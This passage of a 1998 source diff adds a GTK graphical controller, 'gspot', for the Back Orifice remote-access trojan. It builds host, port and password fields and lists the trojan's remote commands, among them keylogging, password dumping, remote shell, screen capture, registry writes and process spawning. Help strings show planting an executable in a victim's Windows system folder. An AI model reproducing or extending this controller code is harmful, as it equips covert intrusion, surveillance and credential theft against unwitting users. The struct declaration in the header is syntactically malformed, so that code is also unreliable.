TRUE, 0); + gtk_widget_show (returnScreen); + rsScroll = gtk_vscrollbar_new (GTK_TEXT(returnScreen)->vadj); + gtk_box_pack_start(GTK_BOX(hbox), rsScroll, FALSE, FALSE, 0); + gtk_widget_show (rsScroll); + + + // Use vbox and label for text entries + vbox = gtk_vbox_new(FALSE, 2); + gtk_table_attach( GTK_TABLE(kitchenTable), vbox, 1, 2, 1, 2, + GTK_FILL | GTK_EXPAND | GTK_SHRINK, GTK_SHRINK, 3, 3); + gtk_widget_show (vbox); + arg1Label = gtk_label_new("Unused:"); + gtk_misc_set_alignment (GTK_MISC (arg1Label), 0, 0); + gtk_box_pack_start(GTK_BOX(vbox), arg1Label, FALSE, FALSE, 0); + gtk_widget_show (arg1Label); + arg1Text = gtk_entry_new_with_max_length(ARGSIZE); + gtk_widget_set_usize(GTK_WIDGET(arg1Text), 100, 0); + gtk_widget_set_name(GTK_WIDGET(arg1Text), "arg1Text"); + gtk_box_pack_start(GTK_BOX(vbox), arg1Text, FALSE, FALSE, 0); + gtk_widget_show (arg1Text); + + vbox = gtk_vbox_new(FALSE, 2); + gtk_table_attach( GTK_TABLE(kitchenTable), vbox, 2, 3, 1, 2, + GTK_FILL | GTK_EXPAND | GTK_SHRINK, GTK_SHRINK, 3, 3); + gtk_widget_show (vbox); + arg2Label = gtk_label_new("Unused:"); + gtk_misc_set_alignment (GTK_MISC (arg2Label), 0, 0); + gtk_box_pack_start(GTK_BOX(vbox), arg2Label, FALSE, FALSE, 0); + gtk_widget_show (arg2Label); + arg2Text = gtk_entry_new_with_max_length(ARGSIZE); + gtk_widget_set_usize(GTK_WIDGET(arg2Text), 100, 0); + gtk_widget_set_name(GTK_WIDGET(arg2Text), "arg2Text"); + gtk_box_pack_start(GTK_BOX(vbox), arg2Text, FALSE, FALSE, 0); + gtk_widget_show (arg2Text); + + + // Text entries for Host and Port + vbox = gtk_vbox_new(FALSE, 2); + gtk_table_attach( GTK_TABLE(kitchenTable), vbox, 1, 2, 2, 3, + GTK_FILL | GTK_EXPAND | GTK_SHRINK, GTK_SHRINK, 3, 3); + gtk_widget_show (vbox); + hostLabel = gtk_label_new("Host:"); + gtk_misc_set_alignment (GTK_MISC (hostLabel), 0, 0); + gtk_box_pack_start(GTK_BOX(vbox), hostLabel, FALSE, FALSE, 0); + gtk_widget_show (hostLabel); + hostText = gtk_entry_new_with_max_length(ARGSIZE); + gtk_widget_set_usize(GTK_WIDGET(hostText), 100, 0); + gtk_widget_set_name(GTK_WIDGET(hostText), "hostText"); + gtk_entry_set_text(GTK_ENTRY(hostText), "127.0.0.1"); + strcpy(oldhost, "127.0.0.1"); + gtk_box_pack_start(GTK_BOX(vbox), hostText, FALSE, FALSE, 0); + gtk_widget_show (hostText); + + vbox = gtk_vbox_new(FALSE, 2); + gtk_table_attach( GTK_TABLE(kitchenTable), vbox, 2, 3, 2, 3, + GTK_FILL | GTK_EXPAND | GTK_SHRINK, GTK_SHRINK, 3, 3); + gtk_widget_show (vbox); + portLabel = gtk_label_new("Port:"); + gtk_misc_set_alignment (GTK_MISC (portLabel), 0, 0); + gtk_box_pack_start(GTK_BOX(vbox), portLabel, FALSE, FALSE, 0); + gtk_widget_show (portLabel); + portText = gtk_entry_new_with_max_length(5); + gtk_widget_set_usize(GTK_WIDGET(portText), 100, 0); + gtk_widget_set_name(GTK_WIDGET(portText), "portText"); + sprintf(buff, "%i", PORT); + gtk_entry_set_text(GTK_ENTRY(portText), buff); + strcpy(oldport, buff); + gtk_box_pack_start(GTK_BOX(vbox), portText, FALSE, FALSE, 0); + gtk_widget_show (portText); + + vbox = gtk_vbox_new(FALSE, 2); + gtk_table_attach( GTK_TABLE(kitchenTable), vbox, 2, 3, 3, 4, + GTK_FILL | GTK_EXPAND | GTK_SHRINK, GTK_SHRINK, 3, 3); + gtk_widget_show (vbox); + passLabel = gtk_label_new("Password:"); + gtk_misc_set_alignment (GTK_MISC (passLabel), 0, 0); + gtk_box_pack_start(GTK_BOX(vbox), passLabel, FALSE, FALSE, 0); + gtk_widget_show (passLabel); + passText = gtk_entry_new_with_max_length(ARGSIZE); + gtk_widget_set_usize(GTK_WIDGET(passText), 100, 0); + gtk_widget_set_name(GTK_WIDGET(passText), "passText"); + gtk_signal_connect (GTK_OBJECT (passText), "changed", + GTK_SIGNAL_FUNC (update_value), + gtk_entry_get_text( GTK_ENTRY(passText) ) ); + gtk_box_pack_start(GTK_BOX(vbox), passText, FALSE, FALSE, 0); + gtk_widget_show (passText); + + // Show the window and start running + gtk_widget_show (window); + gtk_main(); + + return(0); + +} + diff -ruN bo/gspot.h bo_gspot/gspot.h --- bo/gspot.h Wed Dec 31 16:00:00 1969 +++ bo_gspot/gspot.h Thu Dec 24 17:16:12 1998 @@ -0,0 +1,73 @@ +#define PROBE_STR_MAX 30 + +struct probeListItem { + gchar Name[PROBE_STR_MAX + 1]; + gchar firstArg[PROBE_STR_MAX + 1[]; + gchar secondArg[[PROBE_STR_MAX + 1]; +} + + gchar *probes[63][1] = { "HOST", + "QUIT", + "PING", + "PINGLIST", + "SWEEP", + "SWEEPLIST", + "SHELL", + "STATUS", + "PASSWD", + "DIR", + "CD", + "DEL", + "GET", + "PUT", + "COPY", + "FIND", + "FREEZE", + "MELT", + "VIEW", + "REN", + "MD", + "RD", + "INFO", + "PASSES", + "DIALOG", + "KEYLOG", + "REBOOT", + "NETVIEW", + "NETCONNECT", + "NETDISCONNECT", + "NETLIST", + "RESOLVE", + "SHARELIST", + "SHAREADD", + "SHAREDEL", + "PROCLIST", + "PROCKILL", + "PROCSPAWN", + "LISTCAPS", + "CAPSCREEN", + "CAPFRAME", + "CAPAVI", + "SOUND", + "REDIRLIST", + "REDIRDEL", + "REDIRADD", + "APPADD", + "APPDEL", + "APPLIST", + "REGMAKEKEY", + "REGDELKEY", + "REGLISTKEYS", + "REGLISTVALS", + "REGDELVAL", + "REGSETVAL", + "HTTPON", + "HTTPOFF", + "TCPSEND", + "TCPRECV", + "LOCKUP", + "PLUGINEXEC", + "PLUGINKILL", + "PLUGINLIST"}; + + diff -ruN bo/helpstrings.h bo_gspot/helpstrings.h --- bo/helpstrings.h Wed Aug 5 21:35:31 1998 +++ bo_gspot/helpstrings.h Wed Dec 23 23:50:09 1998 @@ -11,7 +11,7 @@ char pinglisthelp[] = "\ PINGLIST - Pings a lits of ip addresses in a text file\n\ usage: pinglist localfilename\n\ - example: pinglist C:\bo\\bohosts"; + example: pinglist /home/uname/bo/bohosts"; char sweephelp[] = "\ SWEEP - Sweeps a subnet with ping packets\n\ @@ -21,7 +21,7 @@ char sweeplisthelp[] = "\ SWEEPLIST - Sweeps a list of subnets in a text file\n\ usage: sweeplist localfilename\n\ - example: sweeplist c:\\bo\\dialups"; + example: sweeplist /home/uname/bo/dialups"; char shellhelp[] = "SHELL - Opens a command shell"; @@ -49,13 +49,13 @@ char gethelp[] = "\ GET - Transfers a file from remote host to the local computer\n\ usage: get remotefilename localfilename\n\ - example: get c:\\warez\\photoshop.zip c:\\files\\photoshop5.zip\n\ + example: get c:\\warez\\photoshop.zip /home/uname/files/photoshop5.zip\n\ note: If localfilename is not provided file is stored in current local directory"; char puthelp[] = "\ PUT - Transfers a file from local computer to the remote host\n\ usage: put localfilename remotefilename\n\ - example: put c:\\bo\\boupdate.exe c:\\windows\\system\\b.exe\n\ + example: put /home/uname/bo/boupdate.exe c:\\windows\\system\\b.exe\n\ note: If remotefilename is not provided file is stored in current remote directory"; char copyhelp[] = "\